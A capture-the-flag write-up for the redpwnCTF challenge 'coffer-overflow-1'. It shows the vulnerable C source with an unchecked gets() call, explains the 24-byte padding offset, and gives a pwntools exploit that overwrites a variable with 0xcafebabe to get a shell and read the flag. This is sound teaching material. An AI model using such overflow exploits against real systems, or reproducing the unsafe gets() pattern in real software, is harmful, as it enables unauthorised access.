# coffer-overflow-1Author: [UltimateHG](https://github.com/UltimateHG)### Slightly more advancedThis is a continuation of [coffer-overflow-0](https://github.com/CSGang/Writeups/tree/master/redpwnCTF/pwn/coffer_overflow_0).We take a look at the source code:```#include <stdio.h>#include <string.h>
int main(void){  long code = 0;  char name[16];   setbuf(stdout, NULL);  setbuf(stdin, NULL);  setbuf(stderr, NULL);
  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");  puts("What do you want to fill your coffer with?");
  gets(name);
  if(code == 0xcafebabe) {    system("/bin/sh");  }}```This time, we would need to not only overwrite `code`, but also overwrite it with value `0xcafebabe` in little endian.We use the same approach as before, with a padding of 32-8 = 24 characters followed by `0xcafebabe` in little endian.Here is the final exploit:
```#!/usr/bin/env python
from pwn import *
e = ELF("./coffer-overflow-1")p = remote("2020.redpwnc.tf", 31255)
print(p.recvline())print(p.recvline())payload = b"A"*24payload += p64(0xcafebabe)p.sendline(payload)p.interactive()```
This should redirect us to shell, and with a simple `ls` we can see an entry `flag.txt`, so we simply do `cat flag.txt` to obtain the flag:```$ lsMakefilebincoffer-overflow-1coffer-overflow-1.cdevflag.txtliblib32lib64$ cat flag.txtflag{th1s_0ne_wasnt_pure_gu3ssing_1_h0pe}```